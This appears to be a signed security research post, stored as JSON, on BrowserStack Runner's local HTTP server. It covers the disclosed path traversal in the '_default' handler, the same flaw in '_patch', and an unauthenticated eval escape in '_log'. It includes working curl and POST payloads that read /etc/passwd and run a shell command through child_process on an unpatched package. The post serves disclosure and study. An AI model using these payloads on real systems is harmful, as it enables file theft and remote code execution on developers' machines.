-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA256 NEFARIOUSPLAN-CANONICAL-V1 {"body_md":"## The dispatcher decides every other question in this file\n\nA single statement at the bottom of `lib/server.js` decides which handler answers any inbound request:\n\n```javascript\nreturn http.createServer(function(request, response) {\n var uri = url.parse(request.url).pathname;\n var method = uri.split('/')[1];\n var body = '';\n\n request.on('data', function(data) {\n body += data;\n });\n request.on('end', function() {\n (handlers[method] || handlers._default)(uri, body, request, response);\n });\n});\n```\n\nThe server reads the URL's first path segment and uses it to index a `handlers` object. If no entry exists, `_default` runs. The `handlers` object contains five entries, declared in this order:\n\n```javascript\nvar handlers = {\n '_progress': function progressHandler(uri, body, request, response) { ... },\n '_report': function reportHandler (uri, body, request, response) { ... },\n '_log': function logHandler (uri, body, request, response) { ... },\n '_patch': function patchHandler (uri, body, request, response) { ... },\n '_default': function defaultHandler (uri, body, request, response) { ... }\n};\n```\n\n`_progress` and `_report` both call a helper, `getWorkerUuid(request)`, and refuse the request if it returns null. `_log`, `_patch`, and `_default` do not. The server binds to `0.0.0.0:8888` per the advisory and accepts requests from anything that can reach the port. The advisory's CVE is about `_default`. The interesting handlers are the others.\n\n## The handler the advisory found\n\nLines 530 to 535:\n\n```javascript\n'_default': function defaultHandler(uri, body, request, response) {\n var filePath = path.join(process.cwd(), uri);\n logger.trace('_default', filePath);\n\n handleFile(filePath, request, response);\n}\n```\n\n`path.join('/home/dev/project', '/../../../etc/passwd')` evaluates to `/etc/passwd`. `path.join` normalizes `..` segments but does nothing to confine the result inside `process.cwd()`. The `handleFile` chain at line 268 calls `fs.exists` and then either `fs.readFile` for HTML or `send(request, filename).pipe(response)` for everything else. There is no allowlist, no `path.resolve` confinement, no header-check, no session-check.\n\nThe advisory's reproduction is, verbatim, `curl http://127.0.0.1:8888/../../../etc/passwd`. It works because nothing in the function disagrees with it. CVSS 6.5, network-adjacent because the server is bound on every interface. A developer running the runner from `~/myproject` while connected to the office LAN exposes `~/myproject/browserstack.json` (the file that holds their BrowserStack access key) and `~/myproject/.env` (the file that holds everything else) to any host on the same broadcast domain. The advisory enumerates this consequence.\n\nThis is what the advisory says.\n\n## The sibling handler four lines above\n\nThe handler immediately above `_default` in the dispatch table, lines 524 to 528:\n\n```javascript\n'_patch': function patchHandler(uri, body, request, response) {\n var filePath = path.join(__dirname, uri);\n logger.trace('_patch', filePath);\n\n handleFile(filePath, request, response, true);\n}\n```\n\nSame shape. Same `path.join` with the same trust assumption. The only difference is the anchor: `__dirname` (the `lib/` directory inside the installed package) instead of `process.cwd()` (the developer's project root). The advisory's PoC does not touch `_patch` because the advisory's PoC sends a URL whose first segment falls through to `_default`. A URL whose first segment is `_patch` dispatches to this handler instead:\n\n```\ncurl \"http://127.0.0.1:8888/_patch/../../../../../../../etc/passwd\"\n```\n\nThe exact number of `../` segments depends on how deep the installed package sits in the developer's `node_modules` tree; with enough of them, the same primitive escapes `lib/` and reaches `/etc/passwd`. The bug, the trust assumption, and the consequence are identical to `_default`. A patch that validates the resolved path against `process.cwd()` inside `_default` does not by itself close `_patch`. A patch that validates the resolved path against `__dirname` inside `_patch` still has not closed the third handler.\n\n## The handler four declarations earlier\n\nLines 491 to 523, the `_log` handler:\n\n```javascript\n'_log': function logHandler(uri, body, request, response) {\n var uuid = getWorkerUuid(request);\n var query = null;\n try {\n query = CircularJSON.parse(body);\n } catch (e) {\n query = body;\n }\n\n logger.trace('[%s] _log', ((uuid && workers[uuid]) || {}).id, query);\n\n var logged = false;\n\n if (query && Array.isArray(query.arguments)) {\n var context = { input: query.arguments, format: util.format, output: '' };\n var tryEvalOrString = 'function (arg) { try { return eval(\\'o = \\' + arg); } catch (e) { return arg; } }';\n\n try {\n // eval each element of query.arguments safely in an isolated context\n vm.runInNewContext('output = format.apply(null, input.map(' + tryEvalOrString + '));', context);\n logger.info('[' + request.headers['x-browser-string'] + '] ' + context.output);\n logged = true;\n } catch (e) {\n logger.debug('_log: failed to format console log data', query);\n }\n }\n\n if (!logged) {\n logger.info('[' + request.headers['x-browser-string'] + '] ' + query);\n }\n\n response.end();\n}\n```\n\nThe handler does five things in order. It calls `getWorkerUuid(request)` and assigns the result to a local. It parses the request body as JSON. It writes a trace line that mentions the uuid (or `undefined` if there is no uuid). It evaluates the JSON inside a `vm.runInNewContext` if a particular field is present. It writes the result to the log and ends the response.\n\nThe first thing is the part that distinguishes `_log` from its peers. The two handlers above it in the dispatch table call `getWorkerUuid` and branch on the return value:\n\n```javascript\n'_progress': function progressHandler(uri, body, request, response) {\n var uuid = getWorkerUuid(request);\n\n if (!uuid) {\n sendError(response, 'worker not found', 404);\n return;\n }\n ...\n```\n\n```javascript\n'_report': function reportHandler(uri, body, request, response) {\n var uuid = getWorkerUuid(request);\n if (!uuid) {\n sendError(response, 'worker not found', 404);\n return;\n }\n ...\n```\n\n`_log` does not branch. The uuid is used exactly once, as a subexpression inside a trace line: `((uuid && workers[uuid]) || {}).id`. The expression short-circuits to an empty object when the uuid is null, and reads `undefined` for the `.id`. The trace line accepts `undefined`. The handler keeps going.\n\nThe call to `getWorkerUuid` is decoration. It returns a value the handler does not read. To code review it reads as authentication; at runtime, it gates nothing.\n\nThen the body is parsed. The body is whatever an attacker put on the wire. The handler enters the `if` branch when `query.arguments` is an array. The branch builds a context with three keys: `input` (the attacker's array), `format` (a reference to `util.format` imported from Node's standard `util` module at the top of the file), and `output` (the empty string the result will be written into).\n\nIt then calls `vm.runInNewContext` on a constructed string. The string concatenates a fixed prefix (`output = format.apply(null, input.map(`), the source text of a callback function held in `tryEvalOrString`, and a fixed suffix (`));`). The callback's source is:\n\n```javascript\nfunction (arg) { try { return eval('o = ' + arg); } catch (e) { return arg; } }\n```\n\nInside the vm context, `Array.prototype.map` calls this callback once per element of `query.arguments`. The callback concatenates the string `'o = '` with `arg` and passes the result to `eval`. The `arg` is whatever the attacker put in the array.\n\nThe comment one line above the `vm.runInNewContext` call:\n\n```javascript\n// eval each element of query.arguments safely in an isolated context\n```\n\nThe Node.js documentation for the `vm` module, in the major version this file targets and in every major version Node has published since, includes this sentence:\n\n> The node:vm module is not a security mechanism. Do not use it to run untrusted code. The term \"sandbox\" should not be used to refer to this module.\n\nThe two sentences are talking about the same call. One was written by the author of `lib/server.js`. The other was written by the maintainers of `node:vm` because authors of files like `lib/server.js` write the first one.\n\nThe context the callback runs in has `format` in scope. `format` is `util.format`, an outer-realm function passed across the realm boundary by reference. Every function in V8 carries a `.constructor` reference back to the `Function` constructor of the realm that created it. `format.constructor` is the outer realm's `Function`. Calling `format.constructor('return process')()` from inside the vm context returns the outer realm's `process` object. From there, `process.mainModule.require('child_process').execSync(...)` runs whatever the attacker passes in, in the outer realm, on the developer's box, as the developer's user.\n\nThe attacker's request:\n\n```\nPOST /_log HTTP/1.1\nHost: devbox:8888\nContent-Type: application/json\nContent-Length: 158\n\n{\"arguments\":[\"format.constructor('return process')().mainModule.require('child_process').execSync('id').toString()\"]}\n```\n\nNo `x-worker-uuid`. No prior session. No authentication of any kind. The server walks the array, evaluates the string under `vm.runInNewContext`, the inner `eval` resolves `format` to `util.format`, traverses `.constructor` to the outer-realm `Function`, calls it to get `process`, reaches `process.mainModule.require`, loads `child_process`, runs `execSync('id')`, returns the bytes. The handler logs the output, formatted with the attacker-controlled `x-browser-string` header, to the developer's terminal, and ends the response. The CVSS 3.1 vector the advisory assigns is `AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N`. The `I:N` subscore is wrong if you read this handler.\n\n## When this was written\n\nThe handlers above are older than the advisory and older than every release of the package since the second. `git blame` on the handlers, in dispatch order:\n\n| Line | Code | Commit | Date | Author |\n|------|------|--------|------|--------|\n| 491 | `_log` declaration | `9888613` | 2015-10-23 | Shirish Kamath |\n| 504-516 | The `vm.runInNewContext` block | `1cb8deb6` | 2016-02-08 14:43 UTC | Shirish Kamath |\n| 509 | `// safely in an isolated context` | `1cb8deb6` | 2016-02-08 14:43 UTC | Shirish Kamath |\n| 506, 510 | The string-form `tryEvalOrString` refactor | `ad86ae81` | 2016-02-08 15:51 UTC | Shirish Kamath |\n| 524-528 | `_patch` with `path.join(__dirname, uri)` | `4ab29937` | 2016-01-23 | Shirish Kamath |\n| 530-534 | `_default` with `path.join(process.cwd(), uri)` | `4ab29937` | 2016-01-23 | Shirish Kamath |\n\nThe `path.join` shapes for `_default` and `_patch` shipped on January 23, 2016. The `vm.runInNewContext` block shipped on February 8, 2016, sixteen days later, in two commits one hour and eight minutes apart by the same author. The \"safely in an isolated context\" comment is in the first of the two. The last commit that changed any handler in `lib/server.js` is `c584dd5`, dated December 12, 2017, titled \"Force patched responseData to a string.\"\n\nThe next nine years of commits to the repository are package version bumps, the BrowserStackLocal binary, README edits, a Semgrep CI workflow added on June 21, 2023, and a CODEOWNERS file added on July 3, 2023. The CODEOWNERS commit is the most recent commit in the repository. The package's last published version on npm is 0.9.5, released on April 21, 2021. GHSA-8rpw-6cqh-2v9h, published on May 27, 2026, lists `Patched Versions: None`. CVE-2026-49144 was assigned by MITRE six days later on the back of the advisory. The package's download count for the thirty days ending June 2, 2026 is 3,858.\n\nThe advisory was written by an outside researcher credited as Christbowel. The advisory names one handler.\n\n## The pattern\n\nThree handlers in one dispatch table. Three sinks downstream of unsanitized attacker input on an unauthenticated network listener bound to every interface. The advisory closes one. The closing patch, if it lands, will validate the resolved path inside `_default` against `process.cwd()`. The same patch will not close `_patch` unless it independently validates `__dirname`. It will not close `_log` unless someone reads the comment.\n\nThis is [Design Debt Driver](/patterns/design-debt-driver) visible at the level of one file. The substrate is the dispatch table itself: a registration shape where two handlers (`_progress`, `_report`) call `getWorkerUuid` and early-return on null, and three handlers (`_log`, `_patch`, `_default`) do not. The bug class is \"attacker-controlled HTTP input flows to a dangerous sink with no early-return guard.\" `_default` is the file-read sink. `_patch` is the file-read sink. `_log` is the `eval` sink. The dispatch table is the design. Each handler that fails to branch on the uuid is an instance. The advisory found the instance that maps to the simplest curl.\n\n`_log` is [Content Is Command](/patterns/content-is-command) named at the handler that earns the label. The browser BrowserStack runs in the cloud POSTs a JSON-encoded `console.log` payload to the developer's local server. The payload is content. The handler walks the array, concatenates each element with the string `'o = '`, and passes the result to a runtime function called `eval`. The boundary between content (what a remote browser uploaded) and command (what `node` runs in the developer's working directory) is a string concatenation and a comment that disagrees with the Node documentation it was written against.\n\n## The advisory's reproduction is the smaller one\n\nThe reproduction the advisory ships:\n\n```\ncurl http://127.0.0.1:8888/../../../etc/passwd\n```\n\nThe reproduction the advisory does not ship:\n\n```\ncurl -X POST http://127.0.0.1:8888/_log \\\n -H 'Content-Type: application/json' \\\n -d '{\"arguments\":[\"format.constructor(\\\"return process\\\")().mainModule.require(\\\"child_process\\\").execSync(\\\"id\\\").toString()\"]}'\n```\n\nThe first reads `/etc/passwd`. The second runs `id`. The handlers are in the same file, four declarations apart, written by the same author in the same month, sitting in production since April 2021. The advisory was published May 27, 2026. The package is unmaintained. The advisory says `Patched Versions: None`.\n\nPoC: [browserstack/browserstack-runner](https://github.com/browserstack/browserstack-runner) (advisory [GHSA-8rpw-6cqh-2v9h](https://github.com/browserstack/browserstack-runner/security/advisories/GHSA-8rpw-6cqh-2v9h))","closing_line":"The advisory says `Patched Versions: None`. The `eval` has been waiting since February 2016.","hook_md":"BrowserStack Runner's HTTP server, `lib/server.js`, registers five handlers in one dispatch table. CVE-2026-49144 names the last one, `_default`, for an unauthenticated path traversal: a `curl` with enough `../` segments reads any file the running process can read. The third handler in the same table, `_log`, accepts an HTTP body, parses it as JSON, and passes each element of its `arguments` field to `eval` inside a `vm.runInNewContext`. The line above the `eval` call is a comment, written by the same author who shipped `_default` sixteen days earlier. It reads: `// eval each element of query.arguments safely in an isolated context`.","post_id":550,"slug":"browserstack-runner-cve-2026-49144-eval-on-the-request-body","title":"CVE-2026-49144: BrowserStack Runner's HTTP Server Calls eval on the Request Body. The CVE Names a Different Handler.","type":"initial","unreadable_sentence":"The advisory found the file read. Three function declarations above it, the same author wrote an `eval` over the request body and labeled the call `safely`."} -----BEGIN PGP SIGNATURE----- iHUEARYIAB0WIQRf0htP5+SjynlxywneZjl4jgkQJgUCaqRjigAKCRDeZjl4jgkQ Jra5APwNPsEDnriq/cyXZvXA1tblhMFd1hhULcyzmd6n51piaQD/X47wDEtfUXre GlZKb0/sDZ0OCU7JUyrJphmQeIVKMwo= =AI/w -----END PGP SIGNATURE-----